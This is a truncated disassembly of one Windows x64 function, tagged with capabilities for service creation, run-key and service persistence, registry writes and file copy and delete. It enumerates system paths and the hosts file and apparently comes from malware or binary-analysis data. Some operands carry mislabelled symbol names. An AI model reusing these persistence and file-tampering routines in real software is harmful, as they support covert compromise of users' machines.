Function at 0x140002e20
Capabilities:
Copy file
Create service
Delete file
Persist via run registry key
Persist via windows service
Set registry value
Start service

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x8c8]
sub rsp, 0x9a0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rbp + 0x870], rax
xor r13d, r13d
mov r12d, r13d
mov dword [rbp + 0x350], r13d
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x360], xmm1
lea ecx, [r13 + 0x60]
call fcn.1400143a0
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x360], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xc0], xmm1
lea r8d, [r13 + 6]
lea rdx, str.path_1
lea rcx, [rbp + 0xb0]
call fcn.140005c90
nop
lea r8, [rbp + 0xb0]
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
mov rax, qword [rcx + 0x18]
cmp rax, 3
jb 0x140002f1f
mov rbx, rcx
cmp rax, 0x10
jb 0x140002efc
mov rbx, qword [rcx]
mov qword [rcx + 0x10], 3
mov r8d, 3
lea rdx, [0x140017b00]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 3], 0
jmp 0x140002f31
lea r9, [0x140017b00]
mov edx, 3
call fcn.140006560
nop
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0x10
jb 0x140002f75
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f70
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002f70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
mov r8d, 6
lea rdx, str.path_2
lea rcx, [rbp + 0xd0]
call fcn.140005c90
nop
lea r8, [rbp + 0xd0]
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x10
jb 0x140002ff2
mov rbx, qword [rcx]
mov qword [rcx + reloc.WS2_32.dll_recv], 0x10
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.C:UsersPublic_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x10], 0
jmp 0x140003004
lea r9, str.C:UsersPublic_
mov edx, reloc.WS2_32.dll_recv
call fcn.140006560
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 0x10
jb 0x140003048
inc rdx
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003043
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003043
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0xf0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x100], xmm1
mov r8d, 6
lea rdx, str.path_3
lea rcx, [rbp + 0xf0]
call fcn.140005c90
nop
lea r8, [rbp + 0xf0]
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
mov rax, qword [rcx + 0x18]
cmp rax, 0xb
jb 0x1400030d1
mov rbx, rcx
cmp rax, 0x10
jb 0x1400030ae
mov rbx, qword [rcx]
mov qword [rcx + 0x10], reloc.WS2_32.dll_inet_addr
mov r8d, reloc.WS2_32.dll_inet_addr
lea rdx, str.C:Windows_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0xb], 0
jmp 0x1400030e3
lea r9, str.C:Windows_
mov edx, reloc.WS2_32.dll_inet_addr
call fcn.140006560
nop
mov rdx, qword [rbp + 0x108]
cmp rdx, 0x10
jb 0x140003127
inc rdx
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003122
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003122
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x130], xmm1
mov r8d, 6
lea rdx, str.path_4
lea rcx, [rbp + 0x120]
call fcn.140005c90
nop
lea r8, [rbp + 0x120]
lea rdx, [rbp + 0x2a0]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
mov rax, qword [rcx + 0x18]
cmp rax, 9
jb 0x1400031b0
mov rbx, rcx
cmp rax, 0x10
jb 0x14000318d
mov rbx, qword [rcx]
mov qword [rcx + 0x10], 9
mov r8d, 9
lea rdx, str.C:Users_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 9], 0
jmp 0x1400031c2
lea r9, str.C:Users_
mov edx, 9
call fcn.140006560
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0x10
jb 0x140003206
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003201
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003201
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
mov r8d, 6
lea rdx, str.path_5
lea rcx, [rbp + 0x160]
call fcn.140005c90
nop
lea r8, [rbp + 0x160]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x14
jb 0x140003283
mov rbx, qword [rcx]
mov qword [rcx + 0x10], socket
mov r8d, socket
lea rdx, str.C:WindowsSystem32_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x14], 0
jmp 0x140003295
lea r9, str.C:WindowsSystem32_
mov edx, socket
call fcn.140006560
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x1400032d9
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032d4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032d4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov r8d, 6
lea rdx, str.path_6
lea rcx, [rbp + 0x180]
call fcn.140005c90
nop
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x10
jb 0x140003356
mov rbx, qword [rcx]
mov qword [rcx + reloc.WS2_32.dll_recv], 0x10
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.C:WindowsBoot_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x10], 0
jmp 0x140003368
lea r9, str.C:WindowsBoot_
mov edx, reloc.WS2_32.dll_recv
call fcn.140006560
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0x10
jb 0x1400033ac
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400033a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8d, 6
lea rdx, str.path_7
lea rcx, [rbp + 0x1a0]
call fcn.140005c90
nop
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x1a
jb 0x140003429
mov rbx, qword [rcx]
mov qword [rcx + 0x10], 0x1a
mov r8d, 0x1a
lea rdx, str.C:UsersPublicDocuments_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1a], 0
jmp 0x14000343b
lea r9, str.C:UsersPublicDocuments_
mov edx, 0x1a
call fcn.140006560
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x14000347f
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000347a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000347a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1d0], xmm1
mov r8d, 6
lea rdx, str.path_8
lea rcx, [rbp + 0x1c0]
call fcn.140005c90
nop
lea r8, [rbp + 0x1c0]
lea rdx, [rbp + 0x2d0]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x1a
jb 0x1400034fc
mov rbx, qword [rcx]
mov qword [rcx + 0x10], 0x1a
mov r8d, 0x1a
lea rdx, str.C:UsersPublicDownloads_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1a], 0
jmp 0x14000350e
lea r9, str.C:UsersPublicDownloads_
mov edx, 0x1a
call fcn.140006560
nop
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0x10
jb 0x140003552
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000354d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000354d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x1e0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1f0], xmm1
mov r8d, 6
lea rdx, str.path_9
lea rcx, [rbp + 0x1e0]
call fcn.140005c90
nop
lea r8, [rbp + 0x1e0]
lea rdx, [rbp + 0x2e0]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x19
jb 0x1400035cf
mov rbx, qword [rcx]
mov qword [rcx + 0x10], 0x19
mov r8d, 0x19
lea rdx, str.C:UsersPublicPictures_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x19], 0
jmp 0x1400035e1
lea r9, str.C:UsersPublicPictures_
mov edx, 0x19
call fcn.140006560
nop
mov rdx, qword [rbp + 0x1f8]
cmp rdx, 0x10
jb 0x140003625
inc rdx
mov rcx, qword [rbp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003620
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003620
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x20], xmm1
mov r8d, 7
lea rdx, str.path_10
lea rcx, [rbp + 0x10]
call fcn.140005c90
nop
lea r8, [rbp + 0x10]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x17
jb 0x140003696
mov rbx, qword [rcx]
mov qword [rcx + 0x10], reloc.WS2_32.dll_socket
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.C:UsersPublicVideos_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x17], 0
jmp 0x1400036a8
lea r9, str.C:UsersPublicVideos_
mov edx, reloc.WS2_32.dll_socket
call fcn.140006560
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400036e6
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov r8d, 7
lea rdx, str.path_11
lea rcx, [rbp - 0x48]
call fcn.140005c90
nop
lea r8, [rbp - 0x48]
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x1c
jb 0x140003757
mov rbx, qword [rcx]
mov qword [rcx + 0x10], 0x1c
mov r8d, 0x1c
lea rdx, str.C:WindowsSystem32drivers_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x1c], 0
jmp 0x140003769
lea r9, str.C:WindowsSystem32drivers_
mov edx, 0x1c
call fcn.140006560
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x1400037a7
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400037a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400037a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x3d0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3e0], xmm1
mov r8d, 7
lea rdx, str.path_12
lea rcx, [rbp + 0x3d0]
call fcn.140005c90
nop
lea r8, [rbp + 0x3d0]
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x20
jb 0x140003821
mov rbx, qword [rcx]
mov qword [rcx + 0x10], 0x20
mov r8d, 0x20
lea rdx, str.C:WindowsSystem32driversetc_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x20], 0
jmp 0x140003833
lea r9, str.C:WindowsSystem32driversetc_
mov edx, 0x20
call fcn.140006560
nop
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0x10
jb 0x140003877
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003872
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003872
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x78], xmm1
mov r8d, 7
lea rdx, str.path_13
lea rcx, [rsp + 0x78]
call fcn.140005c90
nop
lea r8, [rsp + 0x78]
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rcx, qword [rax]
add rcx, 0x40
cmp qword [rcx + 0x18], 0x25
jb 0x1400038eb
mov rbx, qword [rcx]
mov qword [rcx + 0x10], 0x25
mov r8d, 0x25
lea rdx, str.C:WindowsSystem32driversetchosts
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x25], 0
jmp 0x1400038fd
lea r9, str.C:WindowsSystem32driversetchosts
mov edx, 0x25
call fcn.140006560
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x14000393c
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003937
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003937
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400143dc
mov rbx, qword [rbp + 0x360]
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
jne 0x140003fc9
lea r15, [0x140020040]
nop word [rax + rax]
lea rdi, [rbx + 0x40]
mov r14, qword [rdi + 0x10]
mov rsi, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140003975
mov rsi, qword [rdi]
call fcn.140013c58
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], r14
lea r8, [rbp + 0x110]
mov edx, eax
lea rcx, [rbp + 0x70]
call fcn.1400018e0
or r12d, 6
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x250]
call fcn.140002d20
movsd xmm0, qword [rax]
movsd qword [rbp + 0x200], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp], ecx
mov qword [rbp + 8], r15
movaps xmm0, xmmword [rbp]
movdqa xmmword [rbp + 0x400], xmm0
mov eax, dword [rbp + 0x200]
test eax, eax
je 0x1400039e3
cmp eax, 1
setne sil
jmp 0x1400039ee
xor sil, sil
test ecx, ecx
jne 0x1400045a0
mov rdx, qword [rbp + 0x88]
cmp rdx, 8
jb 0x140003a31
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000402a
call fcn.1400143dc
test sil, sil
je 0x140003f6a
mov r14, qword [rdi + 0x10]
mov rsi, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x140003a4b
mov rsi, qword [rdi]
call fcn.140013c58
mov qword [rbp + 0x140], rsi
mov qword [rbp + 0x148], r14
lea r8, [rbp + 0x140]
mov edx, eax
lea rcx, [rbp + 0x30]
call fcn.1400018e0
or r12d, 0x30
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x270]
call fcn.140002d20
movsd xmm0, qword [rax]
movsd qword [rbp + 0x210], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp + 0x210]
test edx, edx
je 0x140003aab
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x1400045b1
cmp ecx, 3
sete sil
mov rdx, qword [rbp + 0x48]
cmp rdx, 8
jb 0x140003af2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003aed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004031
call fcn.1400143dc
test sil, sil
je 0x140003f6a
mov rsi, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x140003b09
mov rdi, qword [rdi]
call fcn.140013c58
mov qword [rbp + 0x150], rdi
mov qword [rbp + 0x158], rsi
lea r8, [rbp + 0x150]
mov edx, eax
lea rcx, [rbp + 0x50]
call fcn.1400018e0
or r12d, 0xc0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x370], xmm0
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x370]
call fcn.140004b50
test eax, eax
jne 0x1400045db
mov rdx, qword [rbp + 0x68]
cmp rdx, 8
jb 0x140003b98
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004038
call fcn.1400143dc
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
mov rsi, qword [rbp + 0x378]
test rsi, rsi
je 0x140003bb9
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x378]
movaps xmm0, xmmword [rbp + 0x370]
movdqa xmmword [rbp + 0x3a0], xmm0
test rsi, rsi
je 0x140003bd8
lock inc dword [rsi + 8]
mov rsi, qword [rbp + 0x378]
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3f0], xmm1
test rsi, rsi
je 0x140003c2e
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x140003c27
mov rdi, qword [rbp + 0x378]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140003c27
mov rsi, qword [rbp + 0x378]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + htons]
jmp 0x140003c2e
mov rsi, qword [rbp + 0x378]
mov r14, qword [rbp + 0x370]
test r14, r14
je 0x140003ede
nop
lea rdx, [r14 + 0x20]
lea rcx, [rbp + 0x260]
call fcn.140002d20
movsd xmm0, qword [rax]
movsd qword [rbp + 0x220], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp + 0x220]
test edx, edx
je 0x140003c77
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x1400045c2
cmp ecx, 3
jne 0x140003e30
lea rdx, [rbp + 0x230]
lea rcx, [r14 + 0x20]
call fcn.140001de0
nop
mov r8d, 1
lea rdx, [0x140017cb8]
mov rcx, rax
call fcn.1400049d0
movups xmm6, xmmword [rax]
movups xmmword [rbp - 0x28], xmm6
movups xmm7, xmmword [rax + 0x10]
movups xmmword [rbp - 0x18], xmm7
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], 0
or r12d, 8
lea rdx, [rbp + 0x90]
lea rcx, [r14 + 0x20]
call fcn.140001de0
nop
mov r8, rax
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x360]
call fcn.140005470
mov rdi, qword [rax]
add rdi, 0x40
lea rax, [rbp - 0x28]
cmp rdi, rax
je 0x140003d57
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x140003d39
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x140003d34
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14000403f
mov rcx, r8
call fcn.1400143dc
mov qword [rdi + 0x18], send
movups xmmword [rdi], xmm6
movups xmmword [rdi + 0x10], xmm7
mov edi, send
mov qword [rbp - 0x10], rdi
mov byte [rbp - 0x28], 0
jmp 0x140003d5b
mov rdi, qword [rbp - 0x10]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0x10
jb 0x140003d9c
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004046
call fcn.1400143dc
mov qword [rbp + 0xa0], r13
mov qword [rbp + 0xa8], send
mov byte [rbp + 0x90], 0
cmp rdi, 0x10
jb 0x140003dee
lea rdx, [rdi + 1]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003de8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000404d
call fcn.1400143dc
nop
mov rdx, qword [rbp + 0x248]
cmp rdx, 0x10
jb 0x140003e30
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003e2a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004054
call fcn.1400143dc
nop
lea rdx, [rbp + 0x410]
mov rcx, qword [r14 + 0x40]
call fcn.140013eb8
cmp eax, 0x12
je 0x140003e87
test eax, eax
jne 0x1400045d3
cmp word [rbp + 0x43c], 0x2e
jne 0x140003e73
movzx eax, word [rbp + 0x43e]
test ax, ax
je 0x140003e30
cmp ax, 0x2e
jne 0x140003e73
cmp word [rbp + 0x440], 0
je 0x140003e30
lea rdx, [rbp + 0x410]
mov rcx, r14
call fcn.140002af0
jmp 0x140003c40
mov qword [rbp + 0x3a0], r13
mov rdi, qword [rbp + 0x3a8]
mov qword [rbp + 0x3a8], r13
test rdi, rdi
je 0x140003ed7
mov eax, 0xffffffff
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140003ed0
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140003ed0
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + htons]
mov rsi, qword [rbp + 0x378]
lea r15, [0x140020040]
mov rcx, qword [rbp + 0x3a8]
test rcx, rcx
je 0x140003f2b
mov eax, 0xffffffff
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140003f24
mov rdi, qword [rbp + 0x3a8]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140003f24
mov rcx, qword [rbp + 0x3a8]
mov rax, qword [rcx]
call qword [rax + htons]
mov rsi, qword [rbp + 0x378]
test rsi, rsi
je 0x140003f6a
mov eax, 0xffffffff
lock xadd dword [rsi + 8], eax
cmp eax, 1
jne 0x140003f6a
mov rdi, qword [rbp + 0x378]
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
mov eax, 0xffffffff
lock xadd dword [rdi + 0xc], eax
cmp eax, 1
jne 0x140003f6a
mov rcx, qword [rbp + 0x378]
mov rax, qword [rcx]
call qword [rax + htons]
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x140003f98
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x140003f93
nop
cmp rbx, qword [rax + 0x10]
jne 0x140003f93
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x140003f80
mov rbx, rax
jmp 0x140003fbf
mov rbx, rax
mov rcx, qword [rax]
cmp byte [rcx + 0x19], 0
jne 0x140003fbf
nop dword [rax]
nop dword [rax + rax]
mov rbx, rcx
mov rax, qword [rcx]
mov rcx, rax
cmp byte [rax + 0x19], 0
je 0x140003fb0
cmp byte [rbx + 0x19], 0
je 0x140003960
xorps xmm0, xmm0
movups xmmword [rbp + 0x3b0], xmm0
mov qword [rbp + 0x3c0], r13
mov qword [rbp + 0x3c8], r13
mov r8d, recv
lea rdx, [0x140017cc0]
lea rcx, [rbp + 0x3b0]
call fcn.140005a00
nop
mov rbx, qword [rbp + 0x360]
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
jne 0x1400044f7
lea rdi, [rbx + 0x20]
lea rdx, [rdi + 0x20]
mov rcx, qword [rdx + 0x18]
cmp rcx, 0x10
jb 0x14000405b
mov r8, qword [rdx]
add r8, qword [rdx + 0x10]
jmp 0x140004068
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r8, qword [rdx + 0x10]
add r8, rdx
cmp rcx, 0x10
jb 0x14000406b
mov rdx, qword [rdx]
lea rcx, [rbp + 0x3d0]
call fcn.140004f80
nop
lea r8, [0x140017cc0]
